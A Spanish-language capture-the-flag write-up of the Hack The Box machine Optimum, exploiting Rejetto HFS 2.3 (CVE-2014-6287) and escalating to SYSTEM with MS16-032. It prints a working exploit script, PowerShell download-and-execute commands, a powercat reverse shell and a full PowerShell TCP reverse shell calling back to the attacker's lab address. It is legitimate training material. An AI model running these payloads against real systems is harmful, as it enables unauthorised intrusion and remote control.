Descripción

En este post realizaremos el write up de la máquina Optimum. Tocaremos los conceptos de null byte injection, scripting en python, powershell básica enfocada a pentesting, explotación de las siguientes vulnerabilidades: para la intrusión CVE-2014-6287 y en la escalada de privilegios CVE-2016-0099 bautizada como MS16-032.

Reconocimiento

Escaneo De Puertos

Escaneamos con nmap los puertos abiertos en la máquina Optimum:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ cat Puertos
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
File: Puertos
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ nmap --open -p- -T5 -oG Puertos 10.10.10.8
2Host: 10.10.10.8 () Status: Up
3Host: 10.10.10.8 () Ports: 80/open/tcp//http/// Ignored State: filtered (65534)
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Reconocimiento Puertos

{*} Extrayendo puertos...

La direccion ip es: 10.10.10.8
Los puertos abiertos son: 80

Los puertos han sido copiados al portapapeles

Escaneamos al objetivo con los scripts predeterminados de nmap, apuntando a los puertos abiertos en busca de más información.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ cat Objetivos
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
File: Objetivos
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ nmap -sCV -p 80 -oN Objetivos 10.10.10.8
2Nmap scan report for 10.10.10.8
3Host is up (0.043s latency).
4
5PORT STATE SERVICE VERSION
680/tcp open http HttpFileServer httpd 2.3
7 │ |_http-server-header: HFS 2.3
8 │ |_http-title: HFS /
9Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Por lo que podemos observar tenemos un servidor web, con SO Windows, utilizando un software gratuito el cual sirve para compartir archivos llamado HttpFileServer y con la versión 2.3. Vamos a indagar un poco en busca de alguna vulnerabilidad.

Searchexploit

Podemos utilizar la herramienta searchexploit para encontrar vulnerabilidades.

1
2
3
4
5
6
❯ searchsploit HttpFileServer 2.3
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Rejetto HttpFileServer 2.3.x - Remote Command Execution (3) | windows/webapps/49125.py
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------

Parece que tenemos un exploit que nos proporciona RCE, su CVE asignado es CVE-2014-6287.

Explotación

HttpFileServer Rce CVE-2014-6287

Vamos a observar como funciona el exploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Exploit Title: Rejetto Httpfileserver 2.3.X - Remote Command Execution (3)
# Google Dork: Intext:"Httpfileserver 2.3"
# Date: 28-11-2020
# Remote: Yes
# Exploit Author: óscar Andreu
# Vendor Homepage: Http://Rejetto.Com/
# Software Link: Http://Sourceforge.Net/Projects/Hfs/
# Version: 2.3.X
# Tested On: Windows Server 2008 , Windows 8, Windows 7
# Cve : Cve-2014-6287

#!/usr/bin/python3

# Usage : Python3 Exploit.Py <Rhost> <Target Rport> <Command>
# Example: Python3 Httpfileserver_2.3.X_rce.Py 10.10.10.8 80 "C:\Windows\Sysnative\Windowspowershell\V1.0\Powershell.Exe Iex (New-Object Net.Webclient).Downloadstring('Http://10.10.14.4/Shells/Mini-Reverse.Ps1')"

import urllib3
import sys
import urllib.parse

try:
http = urllib3.PoolManager()
url = f'http://{sys.argv[1]}:{sys.argv[2]}/?search=%00[{.+exec|{urllib.parse.quote(sys.argv[3])}.}]'
print(url)
response = http.request('GET', url)

except Exception as ex:
print("Usage: python3 HttpFileServer_2.3.x_rce.py RHOST RPORT command")
print(ex)%

Viendo el código podemos deducir como se produce el ataque:

  • 1 El parámetro search es vulnerable al null byte injection %00,
    permitiéndonos saltarse la sanitización del campo search.
  • 2 Con urllib.parse.quote nos encodeamos el payload en formato URL.
  • 3 Lanza la petición con http.request y se ejecuta el RCE.

Ejecucion Manual

1 - Nos creamos un pequeño script en python que nos url encode nuestro payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ cat url_encoding.py
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: url_encoding.py
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1import urllib3
2import sys
3import urllib.parse
4
5
6 │ Payload = input("Introduzca el payload deseado: ")
7 │ Payload_url_encoding = urllib.parse.quote(Payload)
8print(Payload_url_encoding)
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

2- Ejecutamos el script y le pasamos el payload ping /n 1 10.10.16.5, este comando nos mandará un ping a nuestra máquina demostrando la existencia del RCE.

1
2
3
❯ python3 url_encoding.py
Introduzca el payload deseado: ping -n 1 10.10.16.5
ping%20-n%201%2010.10.16.5

3- Nos ponemos por escucha en la interfaz que recibirá el ping:

1
2
3
sudo tcpdump -i tun0
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

4- Lanzamos la petición con el payload inyectado en la URL:

1
curl -s -X GET "10.10.10.8/?search=%00ping%20-n%201%2010.10.16.5" > /dev/null

5- Recibimos la conexión:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
sudo tcpdump -i tun0
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
14:47:35.502215 IP 10.10.16.5.59738 > 10.10.10.8.http: Flags [S], seq 234439617, win 64240, options [mss 1460,sackOK,TS val 2865589165 ecr 0,nop,wscale 7], length 0
14:47:35.547260 IP 10.10.10.8.http > 10.10.16.5.59738: Flags [S.], seq 1789645455, ack 234439618, win 8192, options [mss 1338,nop,wscale 8,sackOK,TS val 537147 ecr 2865589165], length 0
14:47:35.547292 IP 10.10.16.5.59738 > 10.10.10.8.http: Flags [.], ack 1, win 502, options [nop,nop,TS val 2865589210 ecr 537147], length 0
14:47:35.547376 IP 10.10.16.5.59738 > 10.10.10.8.http: Flags [P.], seq 1:112, ack 1, win 502, options [nop,nop,TS val 2865589210 ecr 537147], length 111: HTTP: GET /?search=%00ping%20-n%201%2010.10.16.5 HTTP/1.1
14:47:35.641320 IP 10.10.10.8.http > 10.10.16.5.59738: Flags [.], ack 112, win 258, options [nop,nop,TS val 537157 ecr 2865589210], length 0
14:47:35.651042 IP 10.10.10.8.http > 10.10.16.5.59738: Flags [P.], seq 1:219, ack 112, win 258, options [nop,nop,TS val 537157 ecr 2865589210], length 218: HTTP: HTTP/1.1 200 OK
14:47:35.651064 IP 10.10.16.5.59738 > 10.10.10.8.http: Flags [.], ack 219, win 501, options [nop,nop,TS val 2865589314 ecr 537157], length 0
14:47:35.651985 IP 10.10.10.8.http > 10.10.16.5.59738: Flags [.], seq 219:1545, ack 112, win 258, options [nop,nop,TS val 537157 ecr 2865589210], length 1326: HTTP
14:47:35.651995 IP 10.10.16.5.59738 > 10.10.10.8.http: Flags [.], ack 1545, win 501, options [nop,nop,TS val 2865589315 ecr 537157], length 0
14:47:35.652030 IP 10.10.10.8.http > 10.10.16.5.59738: Flags [P.], seq 1545:1679, ack 112, win 258, options [nop,nop,TS val 537157 ecr 2865589210], length 134: HTTP
14:47:35.652033 IP 10.10.16.5.59738 > 10.10.10.8.http: Flags [.], ack 1679, win 501, options [nop,nop,TS val 2865589315 ecr 537157], length 0
14:47:35.652043 IP 10.10.10.8.http > 10.10.16.5.59738: Flags [.], seq 1679:3005, ack 112, win 258, options [nop,nop,TS val 537157 ecr 2865589210], length 1326: HTTP
14:47:35.652046 IP 10.10.16.5.59738 > 10.10.10.8.http: Flags [.], ack 3005, win 498, options [nop,nop,TS val 2865589315 ecr 537157], length 0
14:47:35.652054 IP 10.10.10.8.http > 10.10.16.5.59738: Flags [P.], seq 3005:3139, ack 112, win 258, options [nop,nop,TS val 537157 ecr 2865589210], length 134: HTTP
14:47:35.652057 IP 10.10.16.5.59738 > 10.10.10.8.http: Flags [.], ack 3139, win 501, options [nop,nop,TS val 2865589315 ecr 537157], length 0
14:47:35.684342 IP 10.10.10.8.http > 10.10.16.5.59738: Flags [P.], seq 3139:4170, ack 112, win 258, options [nop,nop,TS val 537157 ecr 2865589210], length 1031: HTTP
14:47:35.684357 IP 10.10.16.5.59738 > 10.10.10.8.http: Flags [.], ack 4170, win 501, options [nop,nop,TS val 2865589347 ecr 537157], length 0
14:47:35.684602 IP 10.10.16.5.59738 > 10.10.10.8.http: Flags [F.], seq 112, ack 4170, win 501, options [nop,nop,TS val 2865589348 ecr 537157], length 0
14:47:35.724418 IP 10.10.10.8.http > 10.10.16.5.59738: Flags [.], ack 113, win 258, options [nop,nop,TS val 537165 ecr 2865589348], length 0
14:47:35.810447 IP 10.10.10.8.http > 10.10.16.5.59738: Flags [F.], seq 4170, ack 113, win 258, options [nop,nop,TS val 537165 ecr 2865589348], length 0
14:47:35.810463 IP 10.10.16.5.59738 > 10.10.10.8.http: Flags [.], ack 4171, win 501, options [nop,nop,TS val 2865589473 ecr 537165], length 0

¡Tenemos RCE!

Reverse Shell

Para conseguir la revshell vamos a hacer uso de la herramienta powercat.ps1 la cual cumple con la misma función que netcat, pero adaptada a powershell, os dejo por aquí su Github y el enlace a Hacktricks de donde sacaremos comandos útiles para powershell.

1 - Lo primero que tenemos que hacer es montarnos un servidor para compartirnos la herramienta, en este caso voy a utilizar python.

1
2
3
4
ls
 powercat.ps1
❯ python3 -m http.server --bind 10.10.16.5
Serving HTTP on 10.10.16.5 port 8000 (http://10.10.16.5:8000/) ...

2 - Al tener RCE vamos a descargarnos el archivo en la máquina víctima haciendo uso de la powershell y ejecutarlo para obtener la reverse shell:

  • La ruta de la powershell que utilizaremos es la siguiente: c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe.
  • Usaremos la siguiente función para descargarnos un archivo en powershell: IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.5:8000/powercat.ps1').
  • Para obtener la revshell con powercat utilizamos la siguiente sintaxis: powercat -c 10.10.16.5 -p 1234 -e cmd.
  • El payload total quedaría tal que así: c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.5:8000/powercat.ps1');powercat -c 10.10.16.5 -p 1234 -e cmd.

3 - Modificamos el script para que nos tramite la petición gracias a la librería requests:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ cat RCE_Optimum.py
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: RCE_Optimum.py
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1import urllib3
2import urllib.parse
3import requests
4
5 │ Payload = input("Introduzca el payload deseado: ")
6 │ Payload_url_encoding = urllib.parse.quote(Payload)
7
8
9 │ RCE = f"http://10.10.10.8:80/?search=%00[{.+exec|{Payload_url_encoding}.}]" # SUSTITUIR AMBOS [] POR {}
10
11 │ resp = requests.get(RCE)
12
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

4 - Nos ponemos por escucha con nc utilizand rlwrap para obtener mayor interactividad con la consola:

1
2
❯ rlwrap nc -lvnp 1234
listening on [any] 1234 ...

5 - Lanzamos el script y le pasamos el payload:

1
2
❯ python3 RCE_Optimum.py
Introduzca el payload deseado: c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.5:8000/powercat.ps1');powercat -c 10.10.16.5 -p 1234 -e cmd

6 - Recibimos la shell:

1
2
3
4
5
6
7
8
❯ rlwrap nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.8] 49327
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

whoami
optimum\kostas

Escalada De Privilegios

Reconocimento Del Sistema

Con el comando systeminfo obtenemos la versión del SO:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
systeminfo

Host Name: OPTIMUM
OS Name: Microsoft Windows Server 2012 R2 Standard
OS Version: 6.3.9600 N/A Build 9600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00252-70000-00000-AA535
Original Install Date: 18/3/2017, 1:51:36
System Boot Time: 5/9/2022, 10:37:00
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest
Total Physical Memory: 4.095 MB
Available Physical Memory: 3.438 MB
Virtual Memory: Max Size: 5.503 MB
Virtual Memory: Available: 4.889 MB
Virtual Memory: In Use: 614 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: \\OPTIMUM
Hotfix(s): 31 Hotfix(s) Installed.
[01]: KB2959936
[02]: KB2896496
[03]: KB2919355
[04]: KB2920189
[05]: KB2928120
[06]: KB2931358
[07]: KB2931366
[08]: KB2933826
[09]: KB2938772
[10]: KB2949621
[11]: KB2954879
[12]: KB2958262
[13]: KB2958263
[14]: KB2961072
[15]: KB2965500
[16]: KB2966407
[17]: KB2967917
[18]: KB2971203
[19]: KB2971850
[20]: KB2973351
[21]: KB2973448
[22]: KB2975061
[23]: KB2976627
[24]: KB2977629
[25]: KB2981580
[26]: KB2987107
[27]: KB2989647
[28]: KB2998527
[29]: KB3000850
[30]: KB3003057
[31]: KB3014442
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) 82574L Gigabit Network Connection
Connection Name: Ethernet0
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.8
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.

Podemos ver que la versión del SO es Windows Server 2012 R2 Standard | 6.3.9600 N/A Build 9600. Googleando encontramos el siguiente exploit de powershell que nos permite escalar privilegios Exploit-DB.

Invoke-Ms16032.Ps1

Después de que el exploit fallara en varias ocasiones encontré un script el cual tiene la función de agregar un comando que se ejecutará como nt authority system. Invoke-MS16023.ps1.

1 - Nos creamos una reverse shell en powershell y le agregamos los parámetros correspondientes:

1
2
3
4
5
6
7
8
cat revshell.ps1
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: revshell.ps1
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1$client = New-Object System.Net.Sockets.TCPClient("10.10.16.5",2222);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data =
│ (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::A
│ SCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

2 - En Invoke-MS16023.ps1, agregamos al final del script el comando a utilizar siguiendo esta sintaxis Invoke-MS16-032 -Command "$cmd". Nuestro comando será el siguiente:

1
Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.16.5:8000/revshell.ps1')";

3 - Compartimos los recursos revshell.ps1 e Invoke-MS16023.ps1 con un servidor de python para que la máquina víctima tenga acceso.

1
2
❯ python3 -m http.server --bind 10.10.16.5
Serving HTTP on 10.10.16.5 port 8000 (http://10.10.16.5:8000/) ...

4 - Nos ponemos por escucha en el puerto correspondiente.

1
2
❯ rlwrap nc -lvnp 2222
listening on [any] 2222 ...

5 - Desde la máquina víctima hacemos una petición de descarga y ejecución de Invoke-MS16023.ps1 el cual lanzará otra petición a revshell.ps1 pero esta vez como nt authority system entablándonos la conexión.

1
2
3
4
5
6
7
8
9
C:\Users\kostas\Desktop>powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.16.5:8000/Invoke-MS16032.ps1')"
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|

[by b33f -> @FuzzySec]

[!] Holy handle leak Batman, we have a SYSTEM shell!!

6 - Recibimos la conexión:

1
2
3
4
5
6
❯ rlwrap nc -lvnp 2222
listening on [any] 2222 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.8] 49168
whoami
nt authority\system
PS C:\Users\kostas\Desktop>

¡Somos nt authority\system!

Flags

User.Txt

1
2
C:\Users\kostas\Desktop> type user.txt.txt
d0c3xxxxxxxxxxxxxxxxxxxxxxxxxxxx

Root.Txt

1
2
C:\Users\Administrator\Desktop>type root.txt
51edxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Conocimientos Obtenidos

De la máquina Optimum podemos extraer los siguientes conocimientos:

  • Reconocimiento de puertos con nmap.
  • Búsqueda de vulnerabilidades con searchexploit.
  • Null byte injection.
  • Scripting de automatización en python.
  • Uso de powercat.
  • Powershell básica para pentesting.

Errores

Un posible error que podéis sufrir es el siguiente:

  • Si usáis el exploit de Exploit-DB no llegaréis a conseguir la privesc.

Créditos Y Referencias

Autor de la máquina: ch4p, muchas gracias por la creación de Optimum aportando a la comunidad.